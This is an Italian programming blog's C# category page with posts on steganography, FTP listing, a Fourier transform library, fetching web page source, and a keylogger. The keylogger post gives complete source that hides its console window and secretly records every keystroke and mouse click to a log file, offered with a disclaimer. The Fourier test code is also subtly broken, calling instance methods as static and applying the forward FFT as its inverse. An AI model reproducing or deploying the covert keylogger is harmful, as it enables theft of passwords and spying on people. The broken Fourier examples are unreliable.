Archivi categoria: C#

[C#] – LA STEGANOGRAFIA UTILIZZANDO LA LIBRERIA SteganographyLib.dll

 11103_messaggio_stenografico

11106_StenografiaImg_image1

11105_StenografiaImg_image2

Oggi voglio mettere a disposizione una libreria creata da me utilizzando vari pezzi di codici e riadattandola allo scopo, che è quello di nascondere un messaggio in una innocua immagine.

Il principio è semplice si avvia il programma e si seleziona l’immagine. Se è stata salvata con un password appare un codice tutto criptato se no appare il testo in chiaro.

Posso solo dire di provare e di farmi sapere se vi piace. La versione è una beta da migliorare ma è ricca di funzioni.

Continua la lettura di [C#] – LA STEGANOGRAFIA UTILIZZANDO LA LIBRERIA SteganographyLib.dll

C# – Come scaricare la lista di File & Directory da un Server FTP

Oggi vi voglio mettere a disposizione una classe di come Scaricare la lista dei File e Direcotory da un Server FTP.

Esempio di come richiamare la lista dei file/directory :

private void Esegui(){
try { 

libFTP infoServerFTP = new libFTP(); 

List<libFTP.DirectoryItem> listing = infoServerFTP.GetDirectoryInformation("ftp://dominio.it", "username", "password"); 

foreach (libFTP.DirectoryItem items in listing) {
Console.WriteLine("File Name = " + items.Name + " Size = " + items.Size + " LinkFTP = " + items.AbsolutePath);
 }
} catch (Exception error) {
Console.WriteLine(error.ToString());
} 

}

Continua la lettura di C# – Come scaricare la lista di File & Directory da un Server FTP

C# – La Trasformata di Fourier (Libreria in c#)

E’ da tempo che volevo postare la libreria e i relativi sorgenti sulla trasformata di Fourier.

Breve spiegazione presa da Wikipedia :

Fonte “Wikipedia“”
In analisi matematica, la trasformata di Fourier, abbreviata spesso in F-trasformata, è una trasformata integrale con molte applicazioni nella fisica e nell’ingegneria. Fu sviluppata dal matematico francese Jean Baptiste Joseph Fourier nel 1822, nel suo trattato Théorie analytique de la chaleur.

La trasformata di Fourier è uno degli strumenti matematici maggiormente sfruttati nell’ambito delle scienze pure e applicate. Viene utilizzata, ad esempio, per trasformare unafunzione matematica o una distribuzione x(t) definita nel dominio del tempo (spesso chiamata in questo ambito segnale) in una nuova funzione (o distribuzione) \hat x(\omega) = \hat x(2\pi f) il cui argomento è una frequenza angolare o una frequenza (indicata in hertz). Questa funzione viene chiamata spesso spettro delle frequenze della funzione x(t). La trasformata di Fourier è invertibile (vedi teorema di inversione di Fourier), quindi, a partire dalla trasformata di una funzione \hat x è possibile risalire alla funzione x.

Nel caso di funzioni periodiche, la trasformata di Fourier può essere semplificata con il calcolo di un insieme discreto di ampiezze complesse, chiamati coefficienti della serie di Fourier. Inoltre, quando un segnale nel dominio del tempo viene campionato, ad esempio per facilitare l’immagazzinamento o l’elaborazione digitale, è possibile ricreare una versione della trasformata originale utilizzando la formula di sommazione di Poisson.

Formalmente, la trasformata di Fourier \mathcal{F}\left\{x(t)\right\}(\omega) di una funzione x(t) è equivalente al valutare la trasformata di Laplace bilatera \mathcal{L} di x ponendo s = i\omega, e tale definizione è valida se e solo se la regione di convergenza della trasformata di Laplace contiene l’asse immaginario.

Passiamo ora alla creazione di due Classi una che contiene i numeri complessi (Complex) e l’altra la classe principale (Fourier) , il nome del Progetto è “TrasformataDiFourier” e quindi il suo namespace è “TrasformataDiFourier” ma lo potete modificare come lo volete :

Classe Complex.cs

using System;

using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace TrasformataDiFourier
{
public class Complex
{
public double real = 0.0;
public double imag = 0.0;

//Costruttore Vuoto
public Complex()
{
this.real = 0.0;
this.imag = 0.0;
}

public Complex(double real, double imag)
{
this.real = real;
this.imag = imag;
}

public override string ToString()
{
string data = real.ToString() + " " + imag.ToString() + "i";
return data;
}

//Converte i valori polari in rettangolari
public static Complex from_polar(double r, double radians)
{
Complex data = new Complex(r * Math.Cos(radians), r * Math.Sin(radians));
return data;
}

//Override l'operatore di addizione
public static Complex operator +(Complex a, Complex b)
{
Complex data = new Complex(a.real + b.real, a.imag + b.imag);
return data;
}

//Override l'operatore di sottrazione
public static Complex operator -(Complex a, Complex b)
{
Complex data = new Complex(a.real - b.real, a.imag - b.imag);
return data;
}

//Override l'operatore di moltiplicazione
public static Complex operator *(Complex a, Complex b)
{
Complex data = new Complex((a. real * b.real ) - (a.imag * b.imag ),(a. real * b.imag + (a.imag * b.real )));
return data;
}

//Ritorna il valore Complesso di Ampiezza
public double magnitude
{
get
{
return Math.Sqrt(Math.Pow(this.real, 2) + Math.Pow(this.imag, 2));
}
}

//Ritorna la fase
public double phase
{
get
{
return Math.Atan(this.imag / this.real);
}
}

}
}

Classe Fourier.cs :

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace TrasformataDiFourier
{
public class Fourier
{
public Complex[] DFT(Complex[] x)
{
int N = x.Length;
Complex[] X = new Complex[N];

for (int k = 0; k < N; k++)
{
X[k] = new Complex(0, 0);

for (int n = 0; n < N; n++)
{
Complex temp = Complex.from_polar(1, -2 * Math.PI * n * k / N);
temp *= x[n];
X[k] += temp;
}
}

return X;
}

public Complex[] FFT(Complex[] x)
{
int N = x.Length;
Complex[] X = new Complex[N];

Complex[] d, D, e, E;

if (N == 1)
{
X[0] = x[0];
return X;
}

int k;

e = new Complex[N / 2];
d = new Complex[N / 2];

for (k = 0; k < N / 2; k++)
{
e[k] = x[2 * k];
d[k] = x[2 * k + 1];
}

D = FFT(d);
E = FFT(e);

for (k = 0; k < N / 2; k++)
{
Complex temp = Complex.from_polar(1, -2 * Math.PI * k / N);
D[k] *= temp;
}

for (k = 0; k < N / 2; k++)
{
X[k] = E[k] + D[k];
X[k + N / 2] = E[k] - D[k];
}

return X;
}
}
}

Ora facciamo un Test del suo funzionamento :

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using TrasformataDiFourier;

namespace TestTrasformataFourier
{
class Program
{
static void Main(string[] args)
{

TrasformataDiFourier.Complex[] tmp=new TrasformataDiFourier.Complex[8];
int n=tmp.Length;

for(int i=0;i<n;++i)
tmp[i]=new TrasformataDiFourier.Complex(i,0);

for(int i=0;i<n;++i)
Console.WriteLine("tmp["+i+"]: " + tmp[i]);

Complex[] f = TrasformataDiFourier.Fourier.DFT(tmp);

for(int i=0;i<n;++i)
Console.WriteLine("f["+i+"]: " + f[i]);

f = TrasformataDiFourier.Fourier.FFT(f);

for(int i=0;i<n;++i)
Console.WriteLine("inversa: f[" + i + "]: " + f[i]);
}
}
}

C# – Scaricare sorgente di una pagina Web

Oggi voglio mettervi ha disposizione una funzione che vi permette di recuperare il Codice Sorgente di una pagina Web.

Per usare il codice bisogna includere i Namespace System.Net e System.IO al progetto e alla classe.

Un modo semplice e veloce per estrarre il sorgente di una pagina tramite il C# può essere questo:

private string getSource(string url)

{
string sourceFile;
HttpWebRequest Request1 = (HttpWebRequest)HttpWebRequest.Create(url);
HttpWebResponse Request2 = (HttpWebResponse)Request1.GetResponse();
StreamReader Stream = new StreamReader(Request2.GetResponseStream());
sourceFile = Stream.ReadToEnd();
Stream.Close();
Request2.Close();
return sourceFile;
}

E’ possibile fare la stessa cosa in modo più semplice usando la classe WebClient (Dovete includere soltanto il Namescape System.Net; ) :

private string getSource(string url)

{
WebClient web = new WebClient();
return web.DownloadString(url);
}

C# – Come creare un Keylogger e studiarne il funzionamento

Oggi voglio mettervi ha disposizione una funzione che ho trovato su internet che serve per catturare o meglio intercettare la pressione dei tasti da tastiera e di registrarle in un file di Log di testo.

(ATTENZIONE!! Per i più maliziosi informo che tutti gli antivirus lo riconoscono e pertanto lo eliminano o lo inseriscono nella cartella della quarantena…)

Il motivo che ho fatto questo articolo è dovuto al fatto che dovevo testare una applicazione che sarà il prossimo articolo sul Desktop Secure (Desktop Sicuro) . L’obbiettivo è di creare una Applicazione sicura hai Keylogger e hai sniffer di rete. Attualmente sono riuscito solo a rendere l’applicazione sicura hai Keylogger.

Premetto che per prima cosa dobbiamo importare delle DLL che ci aiuteranno a comunicare con il Sistema Operativo e che ci permetterà di interagirci ed ottenere cosi le informazioni dei tasti premuti.. Non useremo nessun timer o altre funzioni strane.. useremo direttamente gli Allert che il sistema operativo manda. Per quanto riguarda il mouse noi recupereremo soltanto la posizione x e y .

Aggiornerò questo articolo con due argomenti che avevo già trattato in passato gli HOOK , appena ho finito di studiare 🙂 nel frattempo vi allego un articolo dove troverete delle cose divertenti e utili http://msdn.microsoft.com/it-it/magazine/cc188966(en-us).aspx .

using System;
using System.Diagnostics;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;

class Keylogger
{
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;

private static LowLevelMouseProc _procMouse = HookCallbackMouse;
private static IntPtr _hookIDMouse = IntPtr.Zero;

public static void Main()
{
var handle = GetConsoleWindow();

// Hide
ShowWindow(handle, SW_HIDE);

_hookID = SetHook(_proc);
_hookIDMouse = SetHookMouse(_procMouse);

Application.Run();
UnhookWindowsHookEx(_hookID);
UnhookWindowsHookEx(_hookID);

}

private static IntPtr SetHookMouse(LowLevelMouseProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_MOUSE_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}

private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}

private delegate IntPtr LowLevelKeyboardProc(
int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookCallbackMouse(
int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 &&
MouseMessages.WM_LBUTTONDOWN == (MouseMessages)wParam)
{
MSLLHOOKSTRUCT hookStruct = (MSLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(MSLLHOOKSTRUCT));
Console.WriteLine(hookStruct.pt.x + ", " + hookStruct.pt.y);
StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
sw.Write("Mouse Click " + hookStruct.pt.x + ", " + hookStruct.pt.y + "\r\n");
sw.Close();
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}

private static IntPtr HookCallback(
int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
Console.WriteLine((Keys)vkCode);
StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
sw.Write((Keys)vkCode);
sw.Close();
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}

private const int WH_MOUSE_LL = 14;
private delegate IntPtr LowLevelMouseProc(int nCode, IntPtr wParam, IntPtr lParam);

private enum MouseMessages
{
WM_LBUTTONDOWN = 0x0201,
WM_LBUTTONUP = 0x0202,
WM_MOUSEMOVE = 0x0200,
WM_MOUSEWHEEL = 0x020A,
WM_RBUTTONDOWN = 0x0204,
WM_RBUTTONUP = 0x0205
}

[StructLayout(LayoutKind.Sequential)]
private struct POINT
{
public int x;
public int y;
}

[StructLayout(LayoutKind.Sequential)]
private struct MSLLHOOKSTRUCT
{
public POINT pt;
public uint mouseData;
public uint flags;
public uint time;
public IntPtr dwExtraInfo;
}

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();

[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

const int SW_HIDE = 0;

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelMouseProc lpfn, IntPtr hMod, uint dwThreadId);
}

Premetto che questo articolo non ha lo scopo di incentivare a creare Keylogger , ma solo per aiutare a capire come intercettare i tasti premuti per creare applicazioni che si avviano velocemente alla pressione dei tasti. Non sono responsabile del codice e ne l’uso che ne farete.